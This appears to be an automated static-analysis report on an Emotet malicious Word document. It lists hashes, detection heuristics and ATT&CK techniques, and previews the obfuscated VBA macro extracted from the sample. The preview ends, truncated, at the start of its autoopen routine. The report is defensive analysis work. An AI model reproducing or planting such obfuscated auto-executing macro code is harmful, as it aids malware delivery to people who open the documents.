Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 705e99ce09273970…

MALICIOUS

Office (OLE)

171.8 KB Created: 2019-03-27 13:29:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: d8efb5537f9b6022da36a1ab2076beaa SHA-1: 5731e6ea48b9633d94e91e82206d127de0309e91 SHA-256: 705e99ce092739709709ed5709c6898e2c18c42224f093bb52a403d2661ce06d
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6914199-0', strongly suggesting the Emotet family. The presence of an AutoOpen macro and GetObject calls within the VBA code indicates that the document is designed to automatically execute malicious code upon opening. This code likely functions as a downloader for a second-stage payload, aligning with Emotet's typical behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6914199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6914199-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31899 bytes
SHA-256: fc61d9cf55a24760f3a39a32ab580ff06081cd350e4aa2e61f29e4fa5676219e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nD1XAA1x"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JUAkAA"
Attribute VB_Base = "0{DE21D319-C71F-4C00-9F23-F1AE20B1626D}{EF588786-4F6D-420E-AA61-21B5EE39A924}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "dUZXAB_"
Attribute VB_Base = "0{CFECAC35-BB4E-4CCC-B2E5-E320EC73B89D}{5F116D10-54DA-437D-AE9C-0EC3CE0BA13D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jAXAwCA"
Function TBZCGDo_()
   If vkACAAQ = rZcAAAG Then
      ZBAAB1CZ = VcACxAxQ _
- Tan(907633628) / AAA4XDUU - _
Round(tA_4Q1cx + _
Sqr(290317406) - ZABc1Ao * Atn(705945168)) + (175927641 + _
Log(833880185 / 133757633 + 836504202 * CLng(78859759))) + XAZxAx / _
Oct(MxoBUw + Fix(822856050) / Ek_Aw1U * 110160283)
End If
   If MXAAo1 = sACU_Bo4 Then
      qDcZZDD = FUDDUAC _
- Oct(724485617) / BQD1AA - _
Log(IABAUAx + _
CLng(741029391) - RABXZQAw * CStr(520455616)) + (3727903 + _
CDbl(352021494 / 328695767 + 427113856 * CSng(295192011))) + NBDA1oQG / _
Atn(jAA_B1 + Atn(883491165) / zBDcADZD * 955368917)
End If
   If AQAZADBB = oQAQkGA4 Then
      sA1GAAk = RAAcwA4 _
- Fix(709333479) / HUDGB1_ - _
CDate(iCUxBc_w + _
Log(106455837) - PoxZQUA * Int(258048940)) + (722698877 + _
Sqr(688130465 / 214433976 + 151036199 * Atn(623335531))) + scAQGAB / _
Tan(GXCBAAA_ + Sgn(39921277) / axZCxU * 787877644)
End If
   If CcAA_UwC = ZZAA1Q Then
      okUowDUC = ioBQXAxA _
- Int(958789784) / rA4A4AD - _
CLng(MA4AAAA + _
CDbl(542216731) - RDxZU1o * CInt(362192157)) + (255964622 + _
Sqr(771425801 / 320842159 + 301776160 * Round(290350471))) + coBQAAU / _
CInt(tXAAAo + Int(442279011) / uBXAQUAA * 270031751)
End If
   If zAoxU_ = MZAZDAAk Then
      CAGAcB = mUkABAc _
- Tan(736715179) / EooAcGA - _
Tan(lAZ_cBQQ + _
CDate(61426585) - PUAAAA * CLng(519693748)) + (349442086 + _
Round(466471328 / 745895270 + 876731621 * CLng(194270526))) + IABBQxCA / _
CStr(Y_4QDQ4 + CDbl(105160592) / rUDQk1 * 760149350)
End If
   If AAA1AUo = oAAAA_4w Then
      RQBBUB = qAAQAQwo _
- Sin(780438990) / QAAAUBA - _
Rnd(jAQkAAA + _
Log(269867108) - YAAAckQ * CDate(561428664)) + (619470027 + _
Rnd(848561086 / 786188771 + 915229418 * Sin(440463376))) + rAoBAZAx / _
CInt(lDZGwBU + Int(608032885) / FUZABBc * 200434462)
End If
   If UAZoBB = ZxAX_4 Then
      pkokQAU = HZAUBZ _
- CInt(105710741) / MkwABA - _
Fix(IA_GBZG + _
Atn(627266553) - ZCAAUDC * Int(934813411)) + (508879390 + _
Oct(75100104 / 842458004 + 574152447 * Log(487702304))) + QADwwUAG / _
Rnd(uABZAQ + CSng(463571584) / ZoAAC4XA * 97202361)
End If
   If fD1CAQ = QBADAA Then
      H1BAQZ = OkAA_AD_ _
- Sin(877121592) / FxwAkkD - _
Rnd(TQXQDQ + _
CByte(380547445) - tAGQDB * Round(75076183)) + (467891844 + _
CLng(506315562 / 447984638 + 38652799 * Cos(957151406))) + WAAkDx / _
CInt(sUoBUZAA + Atn(785874315) / RAZ1DUQ * 919049005)
End If
   If DAccZ_BA = rkUZADA Then
      VAQBZAX4 = oxZkXGGX _
- Log(577684138) / HZAUQA - _
Cos(XAoXC1_ + _
Int(563086630) - GAxAAcZB * Hex(888068766)) + (440704118 + _
CBool(943454618 / 94017968 + 758542706 * CLng(689319575))) + sBA1ADAC / _
CInt(lAAAXw + Int(754440624) / rADAx4A * 85138426)
End If
End Function
Sub autoopen()
On Error Resume Next
   If rwDAAo = NcXwAAA Then
      GGAcwQA_ = JQCAGD _
- CDbl(646530468) / TBDA_A - _
Atn(TkAXBQQ + _
Cos(207989080) - bCQUAAA * CDbl(515666032)) + (851661445 + _
Sin(106031257 / 334053554 + 420550530 * Round(276534452))) + bQkZkk / _
CByte(FxA4cAD + Atn(418097692) / rAkZAZZ * 16391818)
End
... (truncated)